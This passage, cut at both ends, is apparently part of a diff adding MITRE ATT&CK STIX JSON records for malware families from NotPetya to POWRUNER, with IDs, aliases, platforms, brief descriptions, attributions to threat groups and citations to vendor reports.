[NotPetya](https://attack.mitre.org/software/S0368) presents itself as a form of ransomware, it appears likely that the attackers never intended to make the encrypted data recoverable. As such, [NotPetya](https://attack.mitre.org/software/S0368) may be more appropriately thought of as a form of wiper malware. [NotPetya](https://attack.mitre.org/software/S0368) contains worm-like features to spread itself across a computer network using the SMBv1 exploits EternalBlue and EternalRomance.(Citation: Talos Nyetya June 2017)(Citation: Talos Nyetya June 2017)(Citation: US-CERT NotPetya 2017)", + "id": "malware--5719af9d-6b16-46f9-9b28-fb019541ddbb", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1", + "type": "malware", + "x_mitre_aliases": [ + "NotPetya", + "GoldenEye", + "Petrwrap", + "Nyetya" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2019-03-26T15:02:14.907Z", + "modified": "2019-10-04T22:01:15.893Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0368", + "url": "https://attack.mitre.org/software/S0368" + }, + { + "description": "(Citation: Talos Nyetya June 2017)", + "source_name": "GoldenEye" + }, + { + "description": "(Citation: Talos Nyetya June 2017)", + "source_name": "Petrwrap" + }, + { + "description": "(Citation: Talos Nyetya June 2017)", + "source_name": "Nyetya" + }, + { + "source_name": "Talos Nyetya June 2017", + "description": "Chiu, A. (2016, June 27). New Ransomware Variant \"Nyetya\" Compromises Systems Worldwide. Retrieved March 26, 2019.", + "url": "https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html" + }, + { + "source_name": "US-CERT NotPetya 2017", + "description": "US-CERT. (2017, July 1). Alert (TA17-181A): Petya Ransomware. Retrieved March 15, 2019.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-181A" + } + ] + }, + { + "name": "OLDBAIT", + "description": "[OLDBAIT](https://attack.mitre.org/software/S0138) is a credential harvester used by [APT28](https://attack.mitre.org/groups/G0007). (Citation: FireEye APT28) (Citation: FireEye APT28 January 2017)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "OLDBAIT", + "Sasfis" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--2dd34b01-6110-4aac-835d-b5e7b936b0be", + "created": "2017-05-31T21:33:18.946Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0138", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0138" + }, + { + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", + "source_name": "FireEye APT28", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + }, + { + "description": "FireEye iSIGHT Intelligence. (2017, January 11). APT28: At the Center of the Storm. Retrieved January 11, 2017.", + "source_name": "FireEye APT28 January 2017", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf" + } + ] + }, + { + "name": "OSInfo", + "description": "[OSInfo](https://attack.mitre.org/software/S0165) is a custom tool used by [APT3](https://attack.mitre.org/groups/G0022) to do internal discovery on a victim's computer and network. (Citation: Symantec Buckeye)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "OSInfo" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8", + "created": "2018-01-16T16:13:52.465Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0165", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0165" + }, + { + "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", + "source_name": "Symantec Buckeye", + "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong" + } + ] + }, + { + "name": "OSX/Shlayer", + "description": "[OSX/Shlayer](https://attack.mitre.org/software/S0402) is a Trojan designed to install adware on macOS. It was first discovered in 2018.(Citation: Carbon Black Shlayer Feb 2019)(Citation: Intego Shlayer Feb 2018)", + "id": "malware--f1314e75-ada8-49f4-b281-b1fb8b48f2a7", + "x_mitre_platforms": [ + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "malware", + "x_mitre_aliases": [ + "OSX/Shlayer", + "Crossrider" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2019-08-29T18:52:20.879Z", + "modified": "2019-10-14T19:39:29.576Z", + "external_references": [ + { + "external_id": "S0402", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0402" + }, + { + "description": "(Citation: Carbon Black Shlayer Feb 2019)(Citation: Intego Shlayer Feb 2018)", + "source_name": "OSX/Shlayer" + }, + { + "description": "(Citation: Intego Shlayer Apr 2018)(Citation: Malwarebytes Crossrider Apr 2018)", + "source_name": "Crossrider" + }, + { + "source_name": "Carbon Black Shlayer Feb 2019", + "description": "Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019.", + "url": "https://www.carbonblack.com/2019/02/12/tau-threat-intelligence-notification-new-macos-malware-variant-of-shlayer-osx-discovered/" + }, + { + "description": "Long, Joshua. (2018, February 21). OSX/Shlayer: New Mac malware comes out of its shell. Retrieved August 28, 2019.", + "source_name": "Intego Shlayer Feb 2018", + "url": "https://www.intego.com/mac-security-blog/osxshlayer-new-mac-malware-comes-out-of-its-shell/" + }, + { + "source_name": "Intego Shlayer Apr 2018", + "description": "Vrijenhoek, Jay. (2018, April 24). New OSX/Shlayer Malware Variant Found Using a Dirty New Trick. Retrieved September 6, 2019.", + "url": "https://www.intego.com/mac-security-blog/new-osxshlayer-malware-variant-found-using-a-dirty-new-trick/" + }, + { + "description": "Reed, Thomas. (2018, April 24). New Crossrider variant installs configuration profiles on Macs. Retrieved September 6, 2019.", + "source_name": "Malwarebytes Crossrider Apr 2018", + "url": "https://blog.malwarebytes.com/threat-analysis/2018/04/new-crossrider-variant-installs-configuration-profiles-on-macs/" + } + ] + }, + { + "name": "OSX_OCEANLOTUS.D", + "description": "[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) is a MacOS backdoor that has been used by [APT32](https://attack.mitre.org/groups/G0050).(Citation: TrendMicro MacOS April 2018)", + "id": "malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29", + "x_mitre_platforms": [ + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1", + "type": "malware", + "x_mitre_aliases": [ + "OSX_OCEANLOTUS.D" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2019-01-30T19:18:19.667Z", + "modified": "2019-10-14T16:40:54.029Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0352", + "url": "https://attack.mitre.org/software/S0352" + }, + { + "description": "(Citation: TrendMicro MacOS April 2018)", + "source_name": "OSX_OCEANLOTUS.D" + }, + { + "description": "Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018.", + "source_name": "TrendMicro MacOS April 2018", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/" + } + ] + }, + { + "name": "OceanSalt", + "description": "[OceanSalt](https://attack.mitre.org/software/S0346) is a Trojan that was used in a campaign targeting victims in South Korea, United States, and Canada. [OceanSalt](https://attack.mitre.org/software/S0346) shares code similarity with [SpyNote RAT](https://attack.mitre.org/software/S0305), which has been linked to [APT1](https://attack.mitre.org/groups/G0006).(Citation: McAfee Oceansalt Oct 2018)", + "id": "malware--288fa242-e894-4c7e-ac86-856deedf5cea", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "malware", + "x_mitre_aliases": [ + "OceanSalt" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2019-01-30T15:43:19.105Z", + "modified": "2019-02-12T21:14:11.002Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0346", + "url": "https://attack.mitre.org/software/S0346" + }, + { + "description": "(Citation: McAfee Oceansalt Oct 2018)", + "source_name": "OceanSalt" + }, + { + "description": "Sherstobitoff, R., Malhotra, A. (2018, October 18). \u2018Operation Oceansalt\u2019 Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group. Retrieved November 30, 2018.", + "source_name": "McAfee Oceansalt Oct 2018", + "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf" + } + ] + }, + { + "name": "Octopus", + "description": "[Octopus](https://attack.mitre.org/software/S0340) is a Windows Trojan.(Citation: Securelist Octopus Oct 2018)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Octopus" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--e2031fd5-02c2-43d4-85e2-b64f474530c2", + "created": "2019-01-30T13:24:08.616Z", + "modified": "2019-01-30T13:24:08.617Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0340", + "url": "https://attack.mitre.org/software/S0340" + }, + { + "description": "(Citation: Securelist Octopus Oct 2018)", + "source_name": "Octopus" + }, + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 15). Octopus-infested seas of Central Asia. Retrieved November 14, 2018.", + "source_name": "Securelist Octopus Oct 2018", + "url": "https://securelist.com/octopus-infested-seas-of-central-asia/88200/" + } + ] + }, + { + "name": "Olympic Destroyer", + "description": "[Olympic Destroyer](https://attack.mitre.org/software/S0365) is malware that was first seen infecting computer systems at the 2018 Winter Olympics, held in Pyeongchang, South Korea. The main purpose of the malware appears to be to cause destructive impact to the affected systems. The malware leverages various native Windows utilities and API calls to carry out its destructive tasks. The malware has worm-like features to spread itself across a computer network in order to maximize its destructive impact.(Citation: Talos Olympic Destroyer 2018) ", + "id": "malware--3249e92a-870b-426d-8790-ba311c1abfb4", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Olympic Destroyer" + ], + "type": "malware", + "x_mitre_version": "1.1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2019-03-25T14:07:22.547Z", + "modified": "2019-10-04T21:49:25.695Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0365", + "url": "https://attack.mitre.org/software/S0365" + }, + { + "source_name": "Talos Olympic Destroyer 2018", + "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.", + "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html" + } + ] + }, + { + "name": "OnionDuke", + "description": "[OnionDuke](https://attack.mitre.org/software/S0052) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2013 to 2015. (Citation: F-Secure The Dukes)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "OnionDuke" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--b136d088-a829-432c-ac26-5529c26d4c7e", + "created": "2017-05-31T21:32:37.341Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0052", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0052" + }, + { + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "source_name": "F-Secure The Dukes", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ] + }, + { + "name": "OopsIE", + "description": "[OopsIE](https://attack.mitre.org/software/S0264) is a Trojan used by [OilRig](https://attack.mitre.org/groups/G0049) to remotely execute commands as well as upload/download files to/from victims. (Citation: Unit 42 OopsIE! Feb 2018)", + "id": "malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1", + "type": "malware", + "x_mitre_aliases": [ + "OopsIE" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2018-10-17T00:14:20.652Z", + "modified": "2019-04-24T23:40:23.257Z", + "external_references": [ + { + "external_id": "S0264", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0264" + }, + { + "description": "(Citation: Unit 42 OopsIE! Feb 2018) (Citation: Unit 42 OilRig Sept 2018)", + "source_name": "OopsIE" + }, + { + "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.", + "source_name": "Unit 42 OopsIE! Feb 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/" + }, + { + "description": "Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.", + "source_name": "Unit 42 OilRig Sept 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/" + } + ] + }, + { + "name": "Orz", + "description": "[Orz](https://attack.mitre.org/software/S0229) is a custom JavaScript backdoor used by [Leviathan](https://attack.mitre.org/groups/G0065). It was observed being used in 2014 as well as in August 2017 when it was dropped by Microsoft Publisher files. (Citation: Proofpoint Leviathan Oct 2017) (Citation: FireEye Periscope March 2018)", + "id": "malware--06d735e7-1db1-4dbe-ab4b-acbe419f902b", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Orz", + "AIRBREAK" + ], + "type": "malware", + "x_mitre_version": "2.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2018-04-18T17:59:24.739Z", + "modified": "2019-10-15T18:32:32.073Z", + "external_references": [ + { + "external_id": "S0229", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0229" + }, + { + "description": "(Citation: Proofpoint Leviathan Oct 2017)", + "source_name": "Orz" + }, + { + "description": "(Citation: FireEye Periscope March 2018)", + "source_name": "AIRBREAK" + }, + { + "source_name": "Proofpoint Leviathan Oct 2017", + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + }, + { + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "source_name": "FireEye Periscope March 2018", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ] + }, + { + "name": "OwaAuth", + "description": "[OwaAuth](https://attack.mitre.org/software/S0072) is a Web shell and credential stealer deployed to Microsoft Exchange servers that appears to be exclusively used by [Threat Group-3390](https://attack.mitre.org/groups/G0027). (Citation: Dell TG-3390)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "OwaAuth" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--a60657fa-e2e7-4f8f-8128-a882534ae8c5", + "created": "2017-05-31T21:32:47.412Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0072", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0072" + }, + { + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "source_name": "Dell TG-3390", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + } + ] + }, + { + "name": "P2P ZeuS", + "description": "[P2P ZeuS](https://attack.mitre.org/software/S0016) is a closed-source fork of the leaked version of the ZeuS botnet. It presents improvements over the leaked version, including a peer-to-peer architecture. (Citation: Dell P2P ZeuS)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "P2P ZeuS", + "Peer-to-Peer ZeuS", + "Gameover ZeuS" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--b2c5d3ca-b43a-4888-ad8d-e2d43497bf85", + "created": "2017-05-31T21:32:16.715Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0016", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0016" + }, + { + "description": "SecureWorks. (2013). The Lifecycle of Peer-to-Peer (Gameover) ZeuS. Retrieved August 19, 2015.", + "source_name": "Dell P2P ZeuS", + "url": "http://www.secureworks.com/cyber-threat-intelligence/threats/The_Lifecycle_of_Peer_to_Peer_Gameover_ZeuS/" + } + ] + }, + { + "name": "PHOREAL", + "description": "[PHOREAL](https://attack.mitre.org/software/S0158) is a signature backdoor used by [APT32](https://attack.mitre.org/groups/G0050). (Citation: FireEye APT32 May 2017)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "PHOREAL" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--f6ae7a52-f3b6-4525-9daf-640c083f006e", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0158", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0158" + }, + { + "description": "(Citation: FireEye APT32 May 2017)", + "source_name": "PHOREAL" + }, + { + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "source_name": "FireEye APT32 May 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + } + ] + }, + { + "name": "PLAINTEE", + "description": "[PLAINTEE](https://attack.mitre.org/software/S0254) is a malware sample that has been used by [Rancor](https://attack.mitre.org/groups/G0075) in targeted attacks in Singapore and Cambodia. (Citation: Rancor Unit42 June 2018)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "PLAINTEE" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--21c0b55b-5ff3-4654-a05e-e3fc1ee1ce1b", + "created": "2018-10-17T00:14:20.652Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0254", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0254" + }, + { + "description": "(Citation: Rancor Unit42 June 2018)", + "source_name": "PLAINTEE" + }, + { + "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.", + "source_name": "Rancor Unit42 June 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/" + } + ] + }, + { + "name": "POORAIM", + "description": "[POORAIM](https://attack.mitre.org/software/S0216) is a backdoor used by [APT37](https://attack.mitre.org/groups/G0067) in campaigns since at least 2014. (Citation: FireEye APT37 Feb 2018)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "POORAIM" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--53d47b09-09c2-4015-8d37-6633ecd53f79", + "created": "2018-04-18T17:59:24.739Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0216", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0216" + }, + { + "description": "(Citation: FireEye APT37 Feb 2018)", + "source_name": "POORAIM" + }, + { + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "source_name": "FireEye APT37 Feb 2018", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ] + }, + { + "name": "POSHSPY", + "description": "[POSHSPY](https://attack.mitre.org/software/S0150) is a backdoor that has been used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2015. It appears to be used as a secondary backdoor used if the actors lost access to their primary backdoors. (Citation: FireEye POSHSPY April 2017)", + "id": "malware--5e595477-2e78-4ce7-ae42-e0b059b17808", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "POSHSPY" + ], + "type": "malware", + "x_mitre_version": "1.1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2017-12-14T16:46:06.044Z", + "modified": "2019-04-24T23:41:39.925Z", + "external_references": [ + { + "external_id": "S0150", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0150" + }, + { + "description": "(Citation: FireEye POSHSPY April 2017)", + "source_name": "POSHSPY" + }, + { + "description": "Dunwoody, M.. (2017, April 3). Dissecting One of APT29\u2019s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.", + "source_name": "FireEye POSHSPY April 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html" + } + ] + }, + { + "name": "POWERSOURCE", + "description": "[POWERSOURCE](https://attack.mitre.org/software/S0145) is a PowerShell backdoor that is a heavily obfuscated and modified version of the publicly available tool DNS_TXT_Pwnage. It was observed in February 2017 in spearphishing campaigns against personnel involved with United States Securities and Exchange Commission (SEC) filings at various organizations. The malware was delivered when macros were enabled by the victim and a VBS script was dropped. (Citation: FireEye FIN7 March 2017) (Citation: Cisco DNSMessenger March 2017)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "POWERSOURCE", + "DNSMessenger" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--17e919aa-4a49-445c-b103-dbb8df9e7351", + "created": "2017-05-31T21:33:24.739Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0145", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0145" + }, + { + "description": "(Citation: FireEye FIN7 March 2017)", + "source_name": "POWERSOURCE" + }, + { + "description": "Based on similar descriptions of functionality, it appears S0145, as named by FireEye, is the same as the first stages of a backdoor named DNSMessenger by Cisco's Talos Intelligence Group. However, FireEye appears to break DNSMessenger into two parts: S0145 and S0146. (Citation: Cisco DNSMessenger March 2017) (Citation: FireEye FIN7 March 2017)", + "source_name": "DNSMessenger" + }, + { + "description": "Miller, S., et al. (2017, March 7). FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings. Retrieved March 8, 2017.", + "source_name": "FireEye FIN7 March 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html" + }, + { + "description": "Brumaghin, E. and Grady, C.. (2017, March 2). Covert Channels and Poor Decisions: The Tale of DNSMessenger. Retrieved March 8, 2017.", + "source_name": "Cisco DNSMessenger March 2017", + "url": "http://blog.talosintelligence.com/2017/03/dnsmessenger.html" + } + ] + }, + { + "name": "POWERSTATS", + "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) is a PowerShell-based first stage backdoor used by [MuddyWater](https://attack.mitre.org/groups/G0069). (Citation: Unit 42 MuddyWater Nov 2017)", + "id": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "POWERSTATS", + "Powermud" + ], + "type": "malware", + "x_mitre_version": "2.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2018-04-18T17:59:24.739Z", + "modified": "2019-04-22T22:36:52.629Z", + "external_references": [ + { + "external_id": "S0223", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0223" + }, + { + "description": "(Citation: Unit 42 MuddyWater Nov 2017)(Citation: ClearSky MuddyWater Nov 2018)", + "source_name": "POWERSTATS" + }, + { + "description": "(Citation: Symantec MuddyWater Dec 2018)", + "source_name": "Powermud" + }, + { + "source_name": "Unit 42 MuddyWater Nov 2017", + "description": "Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/" + }, + { + "source_name": "ClearSky MuddyWater Nov 2018", + "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.", + "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf" + }, + { + "source_name": "Symantec MuddyWater Dec 2018", + "description": "Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group" + } + ] + }, + { + "name": "POWERTON", + "description": "[POWERTON](https://attack.mitre.org/software/S0371) is a custom PowerShell backdoor first observed in 2018. It has typically been deployed as a late-stage backdoor by [APT33](https://attack.mitre.org/groups/G0064). At least two variants of the backdoor have been identified, with the later version containing improved functionality.(Citation: FireEye APT33 Guardrail)", + "id": "malware--e85cae1a-bce3-4ac4-b36b-b00acac0567b", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "malware", + "x_mitre_aliases": [ + "POWERTON" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2019-04-16T17:43:42.724Z", + "modified": "2019-04-22T19:59:21.380Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0371", + "url": "https://attack.mitre.org/software/S0371" + }, + { + "description": "Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019.", + "source_name": "FireEye APT33 Guardrail", + "url": "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html" + } + ] + }, + { + "name": "POWRUNER", + "description": "[POWRUNER](https://attack.mitre.org/software/S0184) is a PowerShell script that sends and receives commands to and from the C2 server. (Citation: FireEye APT34 Dec 2017)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "POWRUNER" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": 